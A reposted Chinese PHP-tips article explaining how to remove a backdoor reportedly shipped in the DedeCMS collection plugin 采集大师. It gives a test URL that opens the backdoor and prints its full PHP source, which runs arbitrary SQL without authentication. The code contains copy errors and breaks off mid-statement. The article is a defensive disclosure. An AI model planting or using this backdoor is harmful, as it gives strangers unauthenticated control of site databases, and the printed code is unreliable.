Home  >  Article  >  Backend Development  >  DEDE采集大师官方留后门的删除办法_php技巧

DEDE采集大师官方留后门的删除办法_php技巧

WBOY
WBOYOriginal
2016-05-17 09:21:431101browse

去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:

复制代码 代码如下:

require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功!";
}else{
echo "失败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "".trim($ctinfo)."";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne('Select * From `#@__homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,'w') or die("无法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "成功更新首页!";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "删除'数据表'或'数据库'的语句不允许在这里执行。";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow(){
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "
";
echo "记录:$j";
echo "
";
foreach($row as $k=>$v)
{
echo "{$k}:{$v}
\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: $q 出错,错误提示:".$errCode."
";
}
}
echo "成功执行{$i}个SQL语句!

";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!

";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '


SQL
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn